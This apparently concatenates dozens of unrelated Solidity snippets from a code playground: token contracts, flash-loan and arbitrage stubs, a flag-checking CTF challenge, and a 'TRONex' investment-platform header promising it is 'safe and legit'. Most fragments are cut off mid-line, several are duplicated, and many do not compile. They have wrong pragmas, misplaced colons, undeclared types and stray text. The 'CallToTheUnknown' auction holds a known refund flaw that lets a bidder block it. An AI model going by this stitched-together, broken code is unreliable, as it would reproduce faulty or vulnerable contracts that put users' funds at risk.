  bool isDiscardWithDeadline = false;
  bool isDoneByMaker = false;
  bool isDoneByReciver = false;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Foo {

  struct Item {
        uint[] test;
    }
    mapping (bytes32 => Thing) things;

    struct Thing {
        Item[] items;
    }

    function Foo(bytes32 id) {
        Thing memory thing = Thing(new Item[](1));
        things[id] = thing;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.6.4;

contract Collections {
  struct User{
    address userAddress;
    uint balance;
  }

  Users[] users;

  function getUsers() external returns()

pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;

import "https://github.com/sushiswap/sushiswap/blob/master/contracts/uniswapv2/interfaces/IUniswapV2Router02.sol";

import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/FlashLoanReceiverBase.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";


struct Swap {
    address pool;
    address tokenIn;
    address tokenOut;
    uint    swapAmount; // tokenInAmount / tokenOutAmount
    uint    limitReturnAmount; // minAmountOut / maxAmountIn
    uint    maxPrice;
}

interface IBalancerProxy {
    function smartSwapExactIn(TokenInterface tokenIn, TokenInterface tokenOut, uint totalAmountIn, uint minTotalAmountOut, uint nPools) 
        external
        payable
        returns (uint totalAmountOut);
    function viewSplitExactIn(address tokenIn, address tokenOut, uint swapAmount, uint nPools)

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity >=0.7.0 <0.8.0;

contract Person{
    
    
    string welcomeMessage;
    
    uint personCount = 0;
    
    enum status {active, inactive, deleted}
    
    constructor() {
        welcomeMessage = "Welcome to this test contract";
    }
    
    struct PersonInfo {
        uint serial_number;
        uint name;
        string email;
        uint mobile;
        status personStatus;
        string location;
        string date;
    }
    
    PersonInfo[] public persons;
    
    function addPerson(uint serial_number, uint name, string memory email, uint mobile, status personStatus, string memory location, string memory date) public{

        personCount ++;
        
        persons[personCount] = PersonInfo(serial_number, name, email, mobile, personStatus, location, date);
        
    }
    
    function getPerson(uint personId) public {
        
        PersonInfo memory person;
         
        person = persons[personId];
        
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract StructArrayInitWrong {
  struct Room {
    address[] guests;       
  }  
  Room[] rooms;

  function createRoom() public {
    address[] adr;
    adr.push(msg.sender);
    Room memory room = Room(adr);   
    rooms.push(room);
  }

  function getRoomsLength() view returns (uint) {
    return rooms.length;
  }

pragma solidity ^0.5.10;

import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';


contract Epsilon {
    address payable owner;
    event Start(uint256 value);
    event End(uint256 value);
    constructor() public {
        owner = msg.sender;
    }
    
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    uint256 public balancebefore;
    uint256 public balanceafter;
        
    function() external payable {}
      
     function buyJsSellPolo(address payable dex2, uint256 amountA,address tokenA,address payable dex1, address tokenB,   uint256 amountB, uint256 price,uint256 precision, uint256 TrxToPay) public payable onlyOwner {
     
        uint256 balancebefore = address(this).balance;
        emit Start(address(this).balance);
        emit Start(balancebefore);
        TRC20 TokenContract = TRC20(tokenA);  
        address payable Dex2 = address(dex2);
        JustswapExchange DiceFactory=JustswapExchange(dex1);
        address (TokenContract).ca

contract SolidityTest {
   uint totalSupply; 
   function f(uint len) public pure {
      uint256 a = 99999999999999999999999999999999999999999999999999999999999999999; 
      uint256 b = 99999999999999999999999999999999999999999999999999999999999999999;
      uint256  totalSupply;
    
      while (a >= 1){
      uint(a += 999999999999999999999999999999999999999999999999999999999999999);
        uint (a * b);
      }
        totalSupply = (a * b);
   }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

interface tokenRecipient {
    function receiveApproval(
        address _from,
        uint256 _value,
        address _token,
        bytes _extraData
    ) public;
}

contract ERC20Token {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Burn(address indexed from, uint256 value);

    function ERC20Token(
        string _tokenName,
        string _tokenSymbol,
        uint8 _decimals,
        uint256 _totalSupply
    ) public {
        name = _tokenName;
        symbol = _tokenSymbol;
        decimals = _decimals;
        totalSupply = _totalSupply * 10**uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }

    f

pragma solidity ^0.4.26;
contract SimpleStore {
  function testGas1(uint a, uint b) pure public returns (bool) {
    if (a == 1 && b == 2) {
      return true;
    }
    return false;
  }

  function testGas2(uint a, uint b) pure public returns (bool) {
    return (a == 1 && b == 2);
  }

pragma solidity ^0.4.26;
contract SimpleStore {
  function testGas1(uint a, uint b) pure public returns (bool) {
    if (a == 1 && b == 2) {
      return true;
    }
    return false;
  }

  function testGas2(uint a, uint b) pure public returns (bool) {
    return (a == 1 && b == 2);
  }

pragma solidity ^0.5.10;

import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';

contract Epsilon {
    
    address payable owner;
    constructor() public {
         owner = msg.sender;
     }
    
    modifier onlyOwner {
    require(msg.sender == owner);
  _;
}

     JustswapExchange DiceFactory=JustswapExchange(0x60805dDed595bd1D86E148b9db31a777F25F8137);
     address payable PoloniDex = address(0x41b3bddae866b2ce2349bdcb59dfbfa1a75f8552da);
     TRC20 DiceToken = TRC20(0x416ce0632a762689a207b9cce915e93aa9596816ca);
  
        function Poloapprove(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
        ITRC20 TokenContract = ITRC20(_tokenA);  
        address (TokenContract).call(abi.encodeWithSignature("approve(address,uint256)",PoloniDex,_amountA));
         
        }

        function PoloSell(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
        address (PoloniDex).call(a

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT
interface IERC20 {
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

// @dev using 0.8.0.
// Note: If changing this, Safe Math has to be implemented!
pragma solidity 0.8.0;
contract RGPTokenSale {
    
    address public busd = 0x417Bf7C9dc415FEEb693B6FE313d1186C692600F;
    address public rgp  = 0x9bF88fAe8CF8BaB76041c1db6467E7b37b977dD7;
    address public owner;
    uint    public price;
    
    uint256 public tokensSold;
    uint256 public decimals;
    
    bool    public saleActive;
    
    // Emitted when tokens are sold
  

// SPDX-License-Identifier: MIT
/**
 *Submitted for verification at Etherscan.io on 2021-01-03
*/
interface IERC20 {
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface V2 {
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) e

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ZombieLevelUp {
    
    struct Zombie {
      uint32 level;
      uint32 winCount;
    }

    Zombie public zombie; 

    function levelUpZombie() payable public  {
      require (msg.value == 1 ether || zombie.winCount >= 10 * zombie.level);
      zombie.winCount = 0;
      zombie.level++;
    }

    function winBattle() public {
      zombie.winCount++;
    }

pragma solidity ^0.4.18;
contract CallToTheUnknown {
  // Highest bidder becomes the Leader. 

    address currentLeader;
    uint highestBid;

    function() public payable {
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid

        
        
        
        uint256[] private _allAmountArray;
        uint256 private _low = 0;

        function findAmountAverage(uint256[] storage array) internal view returns (uint256, uint256) {
            if (array.length == 0 || _low == 0) {
                return (0, 0);
            }
            uint256 low = array.length.sub(_low);
            uint256 high = array.length;
            uint256 totalAmount = 0;
            uint256 mid = 0;

            while (low < high) {
                uint256 lowAmount = array[low];
                totalAmount = totalAmount.add(lowAmount);
                low += 1;
            } 
            mid = totalAmount.div(_low);
            return (mid, totalAmount);
        }

        function _getMid() public view returns(uint256, uint256){
            (uint256 mid, uint256 tAmountAvarage) = findAmountAverage(_allAmountArray);
            return (mid, tAmountAvarage);
        

pragma solidity ^0.7.0;

contract DStock{
    
    uint public assetCount;
    uint public personCount;
    uint public transactionCount;
    
    struct asset{
        uint assetId;
        string hash;
        address creatorAddress;
        uint cost;
        uint soldCount;
    }
    
    struct person{
        uint personId;
        address personAddress;
        uint earning;
        uint tokenCount;
        uint[] assetsUploaded;
        uint[] assetsBought;
        bool initialized;
    }
    
    mapping (uint => asset) public assets;
    mapping (uint => person) public persons;
    mapping  (address=> uint) public  getMyId;
    
    function initializePerson() private {
        if(persons[getMyId[msg.sender]].initialized == true) { return; }
        persons[personCount].personId = personCount;
        persons[personCount].personAddress = msg.sender;
        persons[personCount].earning= 0;
        persons[personCount].tokenCount = 0 ;
        persons[personCount].initialized = true;
        persons[

pragma solidity ^0.6.12;
contract SimpleStore {
  
  uint256 [] private _allAmountArray;

  uint256 _low = 20;

  function _getMid() private return(uint256){
    return findAmountAverage(_allAmountArray, _low);
  }
  
  function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {

      if (array.length == 0 || _low > array.length) {
          return 0;
      }
      uint256 low = array.length.sub(_low);
      uint256 high = array.length;

      while (low < high) {
        uint256 tLastAmount = 0;
        uint256 lowAmount = array[low];
        tLastAmount = tLastAmount.add(lowAmount);
        low += 1;
      } 
      uint256 mid = tLastAmount.div(_low)

      return mid;
  }

  function transfer(address recipient, uint256 amount) public override returns (bool) {
          require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
          _transfer(_msgSender(), recipient, amount);
          return true;
  }

uint256 [] private _allAmountArray;

uint256 _low = 20;

function _getMid() private return(uint256){
  return findAmountAverage(_allAmountArray, _low);
}

function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {

    if (array.length == 0 || _low > array.length) {
        return 0;
    }
    uint256 low = array.length.sub(_low);
    uint256 high = array.length;

    while (low < high) {
      uint256 tLastAmount = 0;
      uint256 lowAmount = array[low];
      tLastAmount = tLastAmount.add(lowAmount);
      low += 1;
    } 
    uint256 mid = tLastAmount.div(_low)

    return mid;
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
        require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
        _transfer(_msgSender(), recipient, amount);
        return true;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleContract {

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.18;

contract SimpleContract {
  function viewFunction() view returns (string) {
    return "viewFunction is called";
  }

  function pureFunction() pure returns (string) {
    return "pureFuncion is called";
  }

pragma solidity ^0.4.18;

contract SimpleContract {
  function viewFunction() view returns (string) {
    return "viewFunction is called";
  }

  function pureFunction() pure returns (string) {
    return "pureFuncion is called";
  }

pragma solidity ^0.7.1;

contract A {
  uint8 a = 0;
}

contract B {
  uint256 a = 0;

pragma solidity ^0.5.0;

contract MySolidity Test{

uint Data:

constructor() public{

sData = 10;
}
function getResult(uint n) public view returns(uint){

uint x = n+1:

while(true)
{
if(x =0)
break:
}
return x;
}

pragma solidity ^0.5.12;

contract BlockBank {

  uint numberOfAccounts = 0;
  uint maxAccountCount = 10;

  struct AccountBalance {
    address owner;
    uint balance;
  }

  mapping(address => AccountBalance) accounts;


  function isAccountExists(address accountAddress) returns(bool) {
    return true;
  }
  function openAccount() payable public {
        require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
        require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
        
        accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
        numberOfAccounts++;
    }  
}

pragma solidity ^0.5.12;

contract BlockBank {

  uint numberOfAccounts = 0;
  uint maxAccountCount = 10;

  struct AccountBalance {
    address owner;
    uint balance;
  }

  mapping(address => AccountBalance) accounts;


  function isAccountExists(address accountAddress) returns(bool) {
    return true;
  }
  function openAccount() payable public {
        require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
        require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
        
        accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
        numberOfAccounts++;
    }  
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Counter {
  uint value;
  function initialize(uint x) public {
    value=x;
  }
  function get() view public returns (uint) {
    return value;
  }

function increment(uint n) public{
  value=value+n;
}
function decrement(uint n)public {
  value=value-n;
}

  uint value;

 pragma solidity ^0.4.26;

 library SafeMath {

       function mul(uint256 a, uint256 b) internal pure returns (uint256) {
                 if (a == 0) {
                               return 0;
                 }
                         uint256 c = a * b;
                                 assert(c / a == b);
                                         return c;
       }

           function div(uint256 a, uint256 b) internal pure returns (uint256) {
                     uint256 c = a / b;
                             return c;
           }

               function sub(uint256 a, uint256 b) internal pure returns (uint256) {
                         assert(b <= a);
                                 return a - b;
               }

                   function add(uint256 a, uint256 b) internal pure returns (uint256) {
                             uint256 c = a + b;
                                     assert(c >= a);
                                             return c;
                   }

 }

 contract Ownable 

/**
 *Submitted for verification at Etherscan.io on 2020-11-22
*/

// SPDX-License-Identifier: MIT
//ScarcityDeFi.org
//t.me/ScarcityDeFi
/*##################################################
* ############  SCARCE DeFi Token  #################
* ##################################################
*
* ##################################################
* ############# ScarcityDeFi.org ###################
* ##################################################
**/
pragma solidity 0.7.0;
 
interface IERC20 {
  function totalSupply()                                         external view returns (uint256);
  function balanceOf(address who)                                external view returns (uint256);
  function allowance(address owner, address spender)             external view returns (uint256);
  function transfer(address to, uint256 value)                   external      returns (bool);
  function approve(address spender, uint256 value)               external      returns (bool);
  function transferFrom(address fr

pragma solidity =0.6.6;

import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol';

import '../libraries/UniswapV2Library.sol';
import '../interfaces/V1/IUniswapV1Factory.sol';
import '../interfaces/V1/IUniswapV1Exchange.sol';
import '../interfaces/IUniswapV2Router01.sol';
import '../interfaces/IERC20.sol';
import '../interfaces/IWETH.sol';

contract ExampleFlashSwap is IUniswapV2Callee {
    IUniswapV1Factory immutable factoryV1;
    address immutable factory;
    IWETH immutable WETH;

    constructor(address _factory, address _factoryV1, address router) public {
        factoryV1 = IUniswapV1Factory(_factoryV1);
        factory = _factory;
        WETH = IWETH(IUniswapV2Router01(router).WETH());
    }

    // needs to accept ETH from any V1 exchange and WETH. ideally this could be enforced, as in the router,
    // but it's not possible because it requires a call to the v1 factory, which takes too much gas
    receive() external payable {}

    // gets tokens/WETH via a V2 flash swap, swaps for 

pragma solidity ^0.4.16;

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract TokenERC20 {
    string public name;
    string public symbol;
    uint8 public decimals = 18;  // 18 是建议的默认值
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;  //
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Burn(address indexed from, uint256 value);


    function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
        totalSupply = initialSupply * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        name = tokenName;
        symbol = tokenSymbol;
    }


    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_t

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract krishna  
{ 

    uint public m = 249; 
    uint public v = 6 ; 
    uint public count = 0;
   
    function HashIt(uint k) public returns (uint)  
    { 
        count++;
        uint mo= mod(k);
        uint su=sum(mo); 
        return su; 
    } 

    function mod(uint k) view public returns (uint)
    {
      uint mo=k%m;
      return mo;
    }

    function sum(uint s) view public returns (uint)
    {
      uint su=s+v;
      return su;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract CFunding {

  struct Funder {
    address funder;
    uint256 amount;
  }

  struct Project {
    address owner;
    uint256 currentFunds;
    uint32 fundingGoal;
    uint64 endTimeStamp;
    Funder[] funders;
  }

  mapping(uint32 => Project) data;

  function fund(uint32 id) public payable {
    if (now > data[id].endTimeStamp)
      revert();
    data[id].currentFunds += msg.value;
    if (data[id].currentFunds > data[id].fundingGoal)
      payout(id);
      return;
  }

  function startProject(uint32 fundingGoal, uint64 endTime, uint32 id) public {
    data[id].owner = msg.sender;
    data[id].endTimeStamp = endTime;
    data[id].fundingGoal = fundingGoal;
    data[id].currentFunds = 0;
  }

  function payout(uint32 id) internal {
    data[id].currentFunds = 0;
  }

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.6;
import "https://github.com/provable-things/ethereum-api/blob/master/provableAPI_0.6.sol";

contract EthCostContract is usingProvable {

   uint256 public ETHUSD;
   uint256 public USDDiesel;
   uint256 public ETHDiesel;
   mapping(bytes32=>bool) validIds;
   mapping(bytes32=>bool) validIdsDiesel;
   event LogConstructorInitiated(string nextStep);
   event LogPriceUpdated(string price);
   event LogNewProvableQuery(string description, uint queryPrice);

   //Solidity 0.6 necesita specificarea modificatorului de acces pentru constructor
   constructor () public payable{
       emit LogConstructorInitiated("Constructor was initiated. Call 'updatePrice()' to send the Provable Query.");
   }
   
   function pay() public payable {}
    
   function balance() public view returns(uint256)  {
       return address(this).balance;
   }

   function updatePrice() public payable {
       
       uint queryPrice = provable_getPrice("URL");
       
       if (2 * quer

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract C {
    uint256 numOwners = 4;
    function eightyPercentSigned(uint256 sigsCount)
        public //modified so I can call it
        view
        returns (bool)
    {
        uint256 eightyPercentRequiredConfirmations = (numOwners * 80) / 100;
        return sigsCount >= eightyPercentRequiredConfirmations;
    }
}

pragma solidity ^0.6.8;



interface ICERC20  {
    function mint(uint256) external returns (uint256);

    function redeem(uint256) external returns (uint256);

    function exchangeRateStored() external view returns (uint256);

    function exchangeRateCurrent() external returns (uint256);

    function getCash() external returns (uint256);

    function accrueInterest() external returns (uint256);

    function totalBorrowsCurrent() external returns (uint256);

    function totalReserves() external returns (uint256);

    // Links to public address variable from CERC200Storage
    function underlying() external returns (address);
}




contract cTokenClient { 
    
    address cToken; 
    
    constructor(address _cToken) public {
        
        cToken = _cToken;
        
    }
    
    // Single call cost is 40763 
    function callExchangeRateStored() public returns (uint256) {
        return ICERC20(cToken).exchangeRateStored();
    }
    

    // Cost of doing 11 calls is 254739
    // Doing it exte

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.26;

contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }
    function safeDiv(uint a, uint b) public pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}


// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, addr

function transfer(address to, uint256 value) public returns (bool) {
    require(value <= _balances[msg.sender]);
    require(to != address(0));
    
 
    uint256 tokensToBurn = findPercent(value);
    uint256 tokensToTransfer = value.sub(tokensToBurn);
    
    uint256 tokensToStake = findStakePercent(value);
    uint256 stakeToTransfer = value.sub(tokensToStake);
    
    uint256 tokenPercent = findTokenPercent(value);
    uint256 tokenValue = value.sub(tokenPercent);
    
    // uint256 tokenValue = value.sub(stakeToTransfer.add(tokensToTransfer));

    _balances[msg.sender] = _balances[msg.sender].sub(value); 
    _balances[to] = _balances[to].add(tokenValue);
    _balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979] = _balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979].add(tokensToBurn);
    _balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4] = _balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4].add(tokensToStake);
    
    emit Transfer(msg.sender, to, tokensToTransfer);
    // burns to this addr

pragma solidity >=0.4.14 <0.7.0;


contract Challenge {
    event Log(string);
    
    uint256[][] data = [[0, 10, 8, 9, 8, 22637],[11, 6, 2, 13, 0, 16996],[13, 5, 1, 0, 10, 24429],[0, 11, 11, 8, 9, 25181],[1, 3, 8, 3, 4, 26727],[4, 4, 9, 9, 6, 24428],[7, 5, 9, 2, 10, 17774],[2, 4, 4, 9, 0, 31858],[10, 11, 12, 9, 6, 24682],[11, 12, 10, 9, 2, 17526],[6, 1, 3, 0, 11, 21355],[1, 9, 8, 6, 0, 23638],[6, 11, 8, 9, 7, 23647],[11, 7, 10, 7, 11, 24431]];
    uint256[] csts;
    uint256 checksum = 7702;
    

    function check(string memory flag)  private returns (bool){
        bytes memory b = bytes(flag);
        if( b.length != 28) {
            return false;
        }
        
        for(uint256 i=0;i<b.length/2;i++){
            csts.push((uint256(uint8(b[i*2])) * 256) + uint256(uint8(b[i*2+1])) );
        }
        
        uint256 x;
        for(uint256 i=0;i<14;i++){
            x = csts[data[i][0]] ^ csts[data[i][1]] ^ csts[data[i][2]] ^ csts[data[i][3]] ^ csts[data[i][4]];
            emit Log("here");
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  int uz;
  
  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    data=_data
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract DubsStore {
  function set(uint _dubs) public {
    dubs = _dubs;
  }

  function get() public constant returns (uint) {
    return dubs;
  }

  uint dubs;

/*
 * 
 *   TRONex - investment platform based on TRX blockchain smart-contract technology. Safe and legit!
 *
 *   ┌───────────────────────────────────────────────────────────────────────┐  
 *   │   Website: https://tronex.net                                         │
 *   │                                                                       │  
 *   │   Telegram Live Support: https://t.me/tronexsupport                   |
 *   │   Telegram Public Group: https://t.me/tronexgroup                     |
 *   │   Telegram News Channel: https://t.me/tronexnews                      |
 *   |                                                                       |
 *   |   Twitter: https://twitter.com/tronex_net                             |
 *   |   YouTube: https://www.youtube.com/channel/UCw3ck_M-JGnEkAph4Bb2HYQ   |
 *   |   E-mail: [email protected]     

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.3;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;256
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;